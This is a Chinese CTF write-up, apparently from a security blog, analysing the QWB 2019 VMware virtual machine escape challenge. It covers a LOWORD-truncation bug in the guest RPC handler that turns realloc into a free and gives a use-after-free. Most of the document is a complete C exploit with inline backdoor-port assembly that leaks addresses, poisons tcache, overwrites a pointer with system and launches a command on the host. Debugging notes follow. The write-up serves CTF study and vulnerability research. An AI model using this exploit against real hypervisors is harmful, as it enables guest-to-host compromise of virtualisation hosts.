虚拟机逃逸(二)

强网杯2019 虚拟机逃逸分析

0x00 前言

初次分析虚拟机逃逸,之前分析了一篇rwctf2018,这次视线转到强网杯的一个虚拟机逃逸分析。难度比rw大一点点,但是逆向分析还是重点,所以也不会差到哪里去。

一些有关基础的链接放在这里,不做赘述。

题解

RPC/backdoor机制

0x01 分析

bindiff

这类题目都会给一个patched的vmx文件,安装vmware后,在/usr/lib/vmware/bin目录下可以找到目标vmx。使用bindiff比较patched和patch之前的区别可以迅速定位漏洞的位置。

(bindiff分析太慢了,这次选择了010)

图片.png

有三处不同,ida定位到关键位置。

图片.png

一处把r12d改成了r12w,相当于省略了r12的高位。

图片.png

把跳转的条件改为了大于等于。

图片.png

跳转改为了无条件。

最后一个改变,取消了条件检查,前两处patch改变如下。

图片.png

本能的反应就是realloc函数的漏洞,这类题在常规pwn中很常见,realloc函数第二个size参数如果为0,则和free效果一样,常常会导致DF、UAF.接下来细看一下伪代码。

ida分析

Vmx漏洞依然位于guestRPC的处理函数中,该函数中使用了一个大的switch处理不同的信息。接下来详细分析。(虚拟机逃逸(一)中只给了分析的结构体)

关于一些基础知识可以看[虚拟机逃逸(一)]()

Open_RPC_channel

图片.png

这是switch下最简单的一个分支了,打开信道,内容就是简单的接受数据包,然后获得magicnum(这部分是调试得到的)

图片.png

magicnum会进行一个比较如果失败就直接退出。

Send_RPC_command_length

首先判断byte_FE9584,也是一个魔数,接着就判断长度。

图片.png

长度为-1或者大于0x10000就会报错。如果RPCI的长度符合就会继续往下走。!

图片.png
在这个判断中,比较56和21偏移处的值,v56为接收到的数据包,v21为现有长度,如果数据长度大于现有长度则realloc重新分配,设置空间大小为新的大小,且修改msg_struct。

漏洞就出在这个部分。漏洞存在的比较隐秘,大体属于整形溢出。

图片.png

此处,处理size的时候加入了LOWORD修饰,导致dword->word高位失去,所以如果设置v56=0xffff则可以通过大小判断,然后LOWORD(0xffff+1)=LOWORD(0x10000)=0,则此时的realloc第二个参数为0,运行时重新回收ptr。也没有清0.导致了ptr的UAF利用。

Send_RPC_command_data

首先读入了需要发送的data指令,然后读取RPCI结构体,根据前面设置的长度,以不同的方式发送msg,一次最多发送四个字节,四个字节以内发送的方式都是一个byte一个byte的复制。

图片.png

图片.png

发送完指令之后,判断是否发送完,如果发送完了则进入指令处理,根据一个类似虚表的bss段指针,执行某个函数rw2018中,最后就是劫持了这样一个函数,让我们成功逃逸。

图片.png
处理完之后,flag标志为设置为1.具体的指令可以搜索字符串,之前分析的rw2018中也有相应的分析,这里就不赘述。

Recieve_RPC_reply_length

图片.png

guest获得,返回的长度,逻辑简单。

Recieve_RPC_reply_data

执行指令之后返回的数据。

逻辑和发送差不多,同样的先收到长度,然后判断长度,一次接受四个字节,然后再把数据转移到缓冲区。最后设置flag为发送完毕。

图片.png

Finish_receiving_RPC_reply & Close_RPC_channel

这两个部分也较为简单,前者在rw2018详细分析过,后者就是close channel。同时设置flag为1,整个指令处理发送接收流程结束。

漏洞利用

前面说过了,漏洞存在于realloc中,利用该UAF可以造成泄露等操作。实际上leak和利用的思路还是和rw差不多的。

此处的UAF位置在realloc环节也就是设置发送长度的环节,但是造成UAF leak虚表还是需要先设置一个0x100大小的缓冲区。

  • 开启channel A channel B
  • A设置buffer为0x100, B 使用info get也设置为0x100
  • 然后set_len触发A漏洞,B get这个buffer,A再次触发漏洞。此时B 的buffer已经在tcache里了
  • 调用dnd_vison函数写入虚表
  • leak

漏洞利用也是和rw一样,直接tcache劫持即可

0x02 exp

主要的流程还是复制rw2018的,改动少部分即可。还是对师傅的脚本分析

leak函数

图片.png

完整的channel 0 发送指令

图片.png

channel发送部分info get

图片.png

free channel 0 的buffer,然后在channel 1realloc出来。

图片.png

再次free

图片.png

dnd_verison打入虚表

tcache劫持操作也是一样的,只是改掉了触发的位置。

#include <stdio.h>
#include <stdint.h>
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rdi,%%r10\n\t"
        "movq %%rsi,%%r11\n\t"
        "movq %%rdx,%%r12\n\t"
        "movq %%rcx,%%r13\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x49435052,%%ebx\n\t"
        "movl $0x1e,%%ecx\n\t"
        "movl $0x5658,%%edx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%edi,(%%r10)\n\t"
        "movl %%esi,(%%r11)\n\t"
        "movl %%edx,(%%r12)\n\t"
        "movl %%ecx,(%%r13)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13"
       );
}

void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movl %%ecx,%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0001001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}

void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $0,%%r12\n\t"
        "1:\n\t"
        "movq %%r8,%%rbp\n\t"
        "add %%r12,%%rbp\n\t"
        "movl (%%rbp),%%ebx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0002001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "addq $4,%%r12\n\t"
        "cmpq %%r12,%%r11\n\t"
        "ja 1b\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
        );
}

void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%r8,%%r10\n\t"
        "movq %%rcx,%%r11\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0003001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "movl %%ebx,(%%r11)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11"
       );

}

void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){
    asm("pushq %%rbp\n\t"
        "movq %%r9,%%r10\n\t"
        "movq %%r8,%%rbp\n\t"
        "movq %%rcx,%%r11\n\t"
        "movq $1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0004001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "in %%dx,%%eax\n\t"
        "add %%r11,%%rbp\n\t"
        "movl %%ebx,(%%rbp)\n\t"
        "movl %%ecx,(%%r10)\n\t"
        "popq %%rbp\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12"
       );
}

void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x1,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movq $0x21,%%rbx\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0005001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
void channel_close(int cookie1,int cookie2,int channel_num,int *res){
    asm("movl %%eax,%%ebx\n\t"
        "movq %%rcx,%%r10\n\t"
        "movl $0x564d5868,%%eax\n\t"
        "movl $0x0006001e,%%ecx\n\t"
        "movw $0x5658,%%dx\n\t"
        "out %%eax,%%dx\n\t"
        "movl %%ecx,(%%r10)\n\t"
        :
        :
        :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10"
       );
}
struct channel{
    int cookie1;
    int cookie2;
    int num;
};
uint64_t heap =0;
uint64_t text =0;
void run_cmd(char *cmd){
    struct channel tmp;
    int res,len,i;
    char *data;
    channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res);

    channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res);
    if(!res){
        printf("fail to recv finish\n");
    }

    channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res);
    if(!res){
        printf("fail to close channel\n");
        return;
    }
}
void leak(){
    struct channel chan[10];
    int res=0;
    int len,i;  
    char pay[8192];
    char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *data;
    char *s2 = "info-get guestinfo.a";
    char *s21= "info-get guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    char *s4 = "tools.capability.dnd_version 4";
    char *s5 = "vmx.capability.dnd_version";
    //init data
    run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100);
    run_cmd(s4);

    //first step 
    channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),&res);//strlen(s21) = 0x100
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s21),s2,&res);
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i++){
        channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
    }
    printf("recv data:%s\n",data);
    //second step free the reply and let the other channel get it.

    channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }

    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res);
    if(!res){
        printf("fail to send data\n");
        return;
    }

    //free the output buffer
    //printf("Freeing the buffer....,bp:0x5555556DD3EF\n");
    printf("now let's free\n");
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish1\n");
        return;
    }

    printf("then alloc channel 1\n");
    //finished sending the command, should get the freed buffer
    printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n");
    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res);
    if(!res){
        printf("fail to send data\n");
        return;
    }

    printf("check if channel 1's buffer == channel 0's buffer\n");
    //third step,free it again
    //set status to be 4

    //free the output buffer
    printf("Free the buffer again...\n");
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);

    if(!res){
        printf("fail to recv finish2\n");
        return;
    }

    printf("check the heap, our target buffer in tcache now!\nTrying to reuse the buffer as a struct, which we can leak..\n");
    run_cmd(s5);
    printf("Should be done.Check the buffer\n");

    //Now the output buffer of chan[1] is used as a struct, which contains many addresses
    channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }

    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res);
    }
    printf("recv data:\n");
    for(i=0;i<len;i+=8){
        printf("recv data:%lx\n",*(long long *)&data[i]);
    }
    text = (*(uint64_t *)data)-0xf818d0;
    channel_recv_finish(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res);
    printf("Leak Success\n");
}

void exploit(){
    //the exploit step is almost the same as the leak ones
    struct channel chan[10];
    int res=0;
    int len,i;
    char *data;
    char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
    char *s2 = "info-get guestinfo.b";
    char *s3 = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
    char *s4 = "gnome-calculator\x00";
    uint64_t pay1 =text+0xFE95B8; 
    uint64_t pay2 =text+0xECFE0; //system
    uint64_t pay3 =text+0xFE95C8;
    char *pay4 = "gnome-calculator\x00";
    //run_cmd(s1);
    channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s1),s1,&res);
    channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res);
    if(!res){
        printf("fail to recv data len\n");
        return;
    }
    printf("recv len:%d\n",len);
    data = malloc(len+0x10);
    memset(data,0,len+0x10);
    for(i=0;i<len+0x10;i+=4){
        channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res);
    }
    printf("recv data:%s\n",data);

    channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }
    channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res);
    if(!res){
        printf("fail to open channel!\n");
        return;
    }

    printf("this time free firstly\n");
    getchar();
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish2\n");
        return;
    }
    printf("already free check the heap\n");
    getchar();
    printf("alloc for channel 1\n");
    getchar();

    channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }
    printf("leak2 success\n");
    getchar();

    printf("free agin for UAF\n");
    getchar();
    channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,0xffff,&res);
    if(!res){
        printf("fail to recv finish2\n");
        return;
    }
    printf("UAF done!\n");
    getchar();
    printf("ready to change fd\n");
    getchar();
    channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res);
    printf("hjacking!!\n");
    getchar();
    channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res);
    if(!res){
        printf("fail to set len\n");
        return;
    }

    printf("target address in fd\n");
    getchar();
    channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res);

    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res);
    channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res);
    printf("success!\n");
    getchar();
    run_cmd(s4);
    if(!res){
        printf("fail to set len\n");
        return;
    }
}
void main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdin,0,2,0);
    leak();
    printf("text base :%p",text);
    getchar();
    getchar();
    exploit();
}   

0x03 调试

把断点放在realloc的位置,方便查看realloc后的堆布局。

图片.png

在第一次free的位置看到了目标chunk,0x7f797803a890,这个chunk就是我们要复用的chunk。此次realloc结束,应该被挂进tcache。

图片.png

整个chunk的内容,可以看到大小是0x115,这里不知道为啥,连地址都没对齐。

图片.png

单步执行之后,看到被挂进tcache的chunk。当channel 1,alloc取出这块chunk的时候,没有触发到realloc,直接走过去了。所以没断下来。因该在if的判断位置加一个断点,查看堆布局的。

不过此时可以看一下目标chunk的内容,有没有被改变。

图片.png

可以看到被挂上了熟悉的fd,但是却没有在相应的tcache里面,则可以推断,该chunk已经是alloc状态了。

继续执行,第二次free。

图片.png

此次realloc依然触发free。

图片.png

chunk被挂进了tcache,然后下一步执行dnd_version应该会把chunk取出,然后把虚表指针写入。

图片.png

成功写入,接下来就是改写system的过程。

图片.png
channel 0的第一次free,记住chunk地址,0x7fa59c028e20,然后和leak一眼,对channel 1的UAF。

图片.png

劫持成功,但是此时tcache中却看不到,可能heapinfo有点问题。

图片.png

计算偏移后,目标位置被打入tcache的fd中,然后就是常规利用。把该内存malloc出来。然后写入system

图片.png

成功写入system,继续执行,然后弹出计算器。
图片.png

0x05 思考

emm,调试总是遇到一些问题,有时候挂上gdb,leak出来的基址就不对了。。。离谱,不知道为什么。想到的办法是,先发送完payload,然后再attach上去,exp和leak部分分开调试。

还有虚拟机的vmx,移动的时候,权限关系,可能导致打不开虚拟机,只有使用sudo vmware才可以打开,不过这样打开的虚拟机,最后可以成功leak和执行,但是弹不出计算器,也就是命令执行失败,报错报了虚拟化错误,搞了好久没解决,最后也是莫名其妙的突然解决了。

两个vm类型的虚拟机逃逸收获很大,逆向的基础牢固了许多,realworld类的题目和CTF还是有很多差别,前者需要很好的逆向功底和对目标的熟悉,后者更多是技巧上的利用。

  • 发表于 2022-06-21 09:43:34
  • 阅读 ( 6741 )
  • 分类:漏洞分析

1 条评论

ppx
大佬tql
请先 登录 后评论
请先 登录 后评论
就叫16385吧
就叫16385吧

11 篇文章

站长统计